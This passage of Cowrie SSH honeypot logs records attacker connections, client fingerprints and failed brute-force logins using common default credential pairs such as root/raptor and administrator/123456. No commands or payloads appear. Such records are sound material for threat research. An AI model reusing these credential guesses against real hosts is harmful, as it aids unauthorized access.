cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:03.441653Z","src_ip":"165.154.137.186","session":"45eb90d79da5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:04.201869Z","src_ip":"165.154.137.186","session":"45eb90d79da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:05.456747Z","src_ip":"165.154.137.186","session":"45eb90d79da5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":44058,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3f434591f90","protocol":"ssh","message":"New connection: 103.187.165.26:44058 (10.17.0.5:22) [session: d3f434591f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:07.689439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:07.692701Z","src_ip":"103.187.165.26","session":"d3f434591f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:07.934235Z","src_ip":"103.187.165.26","session":"d3f434591f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raptor","message":"login attempt [root/raptor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:08.932329Z","src_ip":"103.187.165.26","session":"d3f434591f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:10.176037Z","src_ip":"103.187.165.26","session":"d3f434591f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37060,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc515a883ab9","protocol":"ssh","message":"New connection: 165.154.137.186:37060 (10.17.0.5:22) [session: cc515a883ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:21.182758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:21.198509Z","src_ip":"165.154.137.186","session":"cc515a883ab9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:21.446620Z","src_ip":"165.154.137.186","session":"cc515a883ab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:22.431921Z","src_ip":"165.154.137.186","session":"cc515a883ab9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:23.685362Z","src_ip":"165.154.137.186","session":"cc515a883ab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":49878,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cb6553f5b15","protocol":"ssh","message":"New connection: 101.36.111.155:49878 (10.17.0.5:22) [session: 8cb6553f5b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:24.738224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:24.767215Z","src_ip":"101.36.111.155","session":"8cb6553f5b15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:24.987620Z","src_ip":"101.36.111.155","session":"8cb6553f5b15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:25.339439Z","src_ip":"101.36.111.155","session":"8cb6553f5b15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":43362,"dst_ip":"159.203.135.109","dst_port":22,"session":"99f791cbf87a","protocol":"ssh","message":"New connection: 192.163.244.125:43362 (159.203.135.109:22) [session: 99f791cbf87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:26.820195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:26.824781Z","src_ip":"192.163.244.125","session":"99f791cbf87a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:26.896417Z","src_ip":"192.163.244.125","session":"99f791cbf87a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neo","password":"neo123","message":"login attempt [neo/neo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:27.109829Z","src_ip":"192.163.244.125","session":"99f791cbf87a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:28.457257Z","src_ip":"192.163.244.125","session":"99f791cbf87a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43140,"dst_ip":"10.17.0.5","dst_port":22,"session":"b597f8ccbfb8","protocol":"ssh","message":"New connection: 165.154.137.186:43140 (10.17.0.5:22) [session: b597f8ccbfb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:38.364489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:38.367842Z","src_ip":"165.154.137.186","session":"b597f8ccbfb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:38.762858Z","src_ip":"165.154.137.186","session":"b597f8ccbfb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:39.633477Z","src_ip":"165.154.137.186","session":"b597f8ccbfb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":41530,"dst_ip":"10.17.0.5","dst_port":22,"session":"632cf6bf75de","protocol":"ssh","message":"New connection: 101.47.159.50:41530 (10.17.0.5:22) [session: 632cf6bf75de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:40.776106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:40.779742Z","src_ip":"101.47.159.50","session":"632cf6bf75de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:40.904659Z","src_ip":"165.154.137.186","session":"b597f8ccbfb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:41.027788Z","src_ip":"101.47.159.50","session":"632cf6bf75de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yks","message":"login attempt [root/yks] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:42.053297Z","src_ip":"101.47.159.50","session":"632cf6bf75de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:43.304693Z","src_ip":"101.47.159.50","session":"632cf6bf75de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":56060,"dst_ip":"10.17.0.5","dst_port":22,"session":"873fa38eba46","protocol":"ssh","message":"New connection: 165.154.137.186:56060 (10.17.0.5:22) [session: 873fa38eba46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:48.783288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:48.786753Z","src_ip":"165.154.137.186","session":"873fa38eba46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43138,"dst_ip":"10.17.0.5","dst_port":22,"session":"30d60b47c7d2","protocol":"ssh","message":"New connection: 165.154.137.186:43138 (10.17.0.5:22) [session: 30d60b47c7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:49.017641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:49.020944Z","src_ip":"165.154.137.186","session":"30d60b47c7d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:49.045749Z","src_ip":"165.154.137.186","session":"873fa38eba46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:49.287766Z","src_ip":"165.154.137.186","session":"30d60b47c7d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:49.820696Z","src_ip":"165.154.137.186","session":"873fa38eba46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:50.089688Z","src_ip":"165.154.137.186","session":"30d60b47c7d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:51.080422Z","src_ip":"165.154.137.186","session":"873fa38eba46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:51.360303Z","src_ip":"165.154.137.186","session":"30d60b47c7d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57914,"dst_ip":"10.17.0.5","dst_port":22,"session":"b028b7f3c960","protocol":"ssh","message":"New connection: 165.154.137.186:57914 (10.17.0.5:22) [session: b028b7f3c960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:56.284063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:56.287501Z","src_ip":"165.154.137.186","session":"b028b7f3c960","protocol":"ssh"}
